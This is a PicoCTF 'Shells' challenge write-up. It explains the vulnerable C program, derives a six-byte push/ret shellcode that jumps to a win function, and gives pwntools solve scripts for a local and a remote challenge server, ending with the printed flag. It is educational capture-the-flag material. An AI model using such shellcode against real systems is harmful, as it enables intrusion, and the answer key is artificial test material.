# Shells -- PicoCTF
This is a binary exploitation challenge worth 70 points.
We are given a binary and a source file, as well as the address (shell2017.picoctf.com) and port number (17533) of the server.  Let's open the C file:
~~~c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/mman.h>
#define AMOUNT_OF_STUFF 10
//TODO: Ask IT why this is herevoid win(){    system("/bin/cat ./flag.txt");    }
void vuln(){    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);    if(stuff == MAP_FAILED){        printf("Failed to get space. Please talk to admin\n");        exit(0);    }    printf("Give me %d bytes:\n", AMOUNT_OF_STUFF);    fflush(stdout);    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);    if(len == 0){        printf("You didn't give me anything :(");        exit(0);    }    void (*func)() = (void (*)())stuff;    func();      }
int main(int argc, char*argv[]){    printf("My mother told me to never accept things from strangers\n");    printf("How bad could running a couple bytes be though?\n");    fflush(stdout);    vuln();    return 0;}~~~
Now we know that there is a win function, and the program is going to execute code we give it.  Let's run the program:
[![asciicast](https://asciinema.org/a/2grn99obqdtjkdpowvnp7ic36.png)](https://asciinema.org/a/2grn99obqdtjkdpowvnp7ic36)
We can see that it asks for 10 bytes, and if you give it anything, it segfaults. We know from the source that it is trying to execute whatever you give it, and I didn't give it executable bytes. 
Let's try to create some executable code.  We kow that we have 10 bytes to work with, and we know we have a nice, ready-made win function that will give us what we want. Let's open it up in Binary Ninja and find the address of the win function.
![Binja Shells](http://i.imgur.com/7GddlQ5.png)
We can see that the win function starts at `0x08048540`  
Now let's design some code.  My first thought was to write  ```call	0x08048540```or ```jmp   0x08048540```
However, with research and many failed attempts, I realized that there is no good way to call or jmp to an absolute address directly using opcodes. This is because of the way memory is segmented. When attempting to call or jmp to an absolute address, you also have to give a segment number. However, there isn't a great way to find the segment number unless if you already defined the segment number. Therefore, we need a different solution.
I remembered that most past challenges that I have completed required a buffer overflow to change the return address, and we know that the return address should be `0x08048540`, and that needs to be on the top of the stack, so we can push `0x08048540` on the stack and return to it.  The Assembly:
```push	0x08048540ret```
We can use an online assembler to get the opcodes. I used [Shell Storm's Assembler/Disassembler](http://shell-storm.org/online/Online-Assembler-and-Disassembler/) `"\x68\x40\x85\x04\x08\xc3"`
Now we can craft a python script to test against the local binary. First, we need to create a flag.txt with any sample text. I just used `flag` Then we can write the script:
```python# solve.py
from pwn import *
p = process('./shells')
sc = '\x68\x40\x85\x04\x08\xc3'p.recvuntil(':\n')p.send(sc)flag = p.recvline()print flag
p.close()```
Let's run the script.
[![asciicast](https://asciinema.org/a/bf75ikwceh1ru8c4cg16y1ejf.png)](https://asciinema.org/a/bf75ikwceh1ru8c4cg16y1ejf)
As you can see, the script ran shells and sent the opcodes, and it outputted the contents of flag.txt. Now we can modify the script to work on the server:
```python# solve.py
from pwn import *
p = remote('shell2017.picoctf.com', 17533)
sc = '\x68\x40\x85\x04\x08\xc3'p.recvuntil(':\n')p.send(sc)flag = p.recvline()print flag
p.close()```
Now let's run it:
[![asciicast](https://asciinema.org/a/boeus0zz511mm26lq723lakc5.png)](https://asciinema.org/a/boeus0zz511mm26lq723lakc5)
As you can see, we opened a connection to the server, and sent the opcodes, and it outputted the flag: `4350d27b024f8597f10b98f164f0fc43`
And we are done!